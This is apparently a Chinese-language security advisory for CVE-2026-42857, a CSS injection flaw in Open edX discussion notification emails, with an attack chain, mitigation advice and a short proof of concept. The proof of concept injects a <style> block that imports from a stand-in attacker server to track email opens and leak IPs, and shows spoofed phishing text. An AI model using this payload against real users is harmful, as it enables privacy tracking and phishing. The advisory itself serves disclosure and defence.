IPBUF安全漏洞报告
English
CVE-2026-42857 CVSS 4.6 中危

CVE-2026-42857 Open edX CSS注入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42857
漏洞类型
CSS注入
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open edX Platform

相关标签

CSS注入Open edX信息泄露钓鱼攻击邮件安全

漏洞概述

Open edX Platform存在一处安全漏洞,其用于讨论通知邮件的HTML清理器`clean_thread_html_body()`未能有效过滤用户生成内容中的`<style>`标签。由于系统在邮件模板中使用了Django的`|safe`过滤器直接渲染这些内容,导致任何已注册的学生都可以向发送给其他用户的邮件通知中注入任意CSS代码。攻击者利用该漏洞可实现邮件跟踪(如获取接收者IP地址)、内容伪造以及钓鱼攻击,对用户隐私和安全构成威胁。

技术细节

该漏洞的根源在于Open edX处理讨论帖内容时的安全过滤机制不完善。具体来说,当用户发布包含HTML标签的讨论内容时,系统调用的`clean_thread_html_body()`函数本应清理危险标签,但它错误地保留了`<style>`标签。随后,在生成通知邮件时,Django模板引擎使用了`|safe`过滤器,这告诉Django不要对变量进行HTML转义。因此,恶意的CSS代码被直接嵌入到邮件HTML中。当其他用户查看邮件时,浏览器会解析这些CSS。攻击者可以利用CSS的特性(如`@import`或`background-image`)加载外部资源,从而记录邮件阅读行为并获取受害者的IP地址,或者通过CSS重写页面布局进行钓鱼和内容欺骗。

攻击链分析

STEP 1
1. 恶意内容发布
攻击者注册并登录Open edX平台,在讨论区发布包含恶意`<style>`标签的帖子。
STEP 2
2. 清理失败
系统处理帖子时,`clean_thread_html_body()`函数未能移除`<style>`标签,保留了恶意代码。
STEP 3
3. 邮件生成
系统向其他参与讨论的用户发送邮件通知,使用Django模板渲染讨论内容。
STEP 4
4. 不安全渲染
邮件模板使用了`|safe`过滤器,导致恶意CSS代码未经转义直接包含在邮件HTML源码中。
STEP 5
5. 触发利用
受害者打开邮件,浏览器解析CSS并执行外部请求,导致IP泄露或显示被伪造的钓鱼内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<style> /* Injected CSS to track email opening and leak IP */ @import url('http://attacker-controlled-server.com/track.php'); /* Content Spoofing Example */ div.thread-body::before { content: "IMPORTANT: Click here to verify your account"; color: red; font-weight: bold; } </style>

影响范围

Open edX Platform < commit cddc25cd791bb78f76833896e4778f668861df12

防御指南

临时缓解措施
建议管理员尽快应用官方修复补丁。在升级前,应临时禁用讨论帖的邮件通知功能,或者修改邮件模板代码,移除`|safe`过滤器以确保用户输入的HTML内容被正确转义,从而防止CSS注入攻击。

参考链接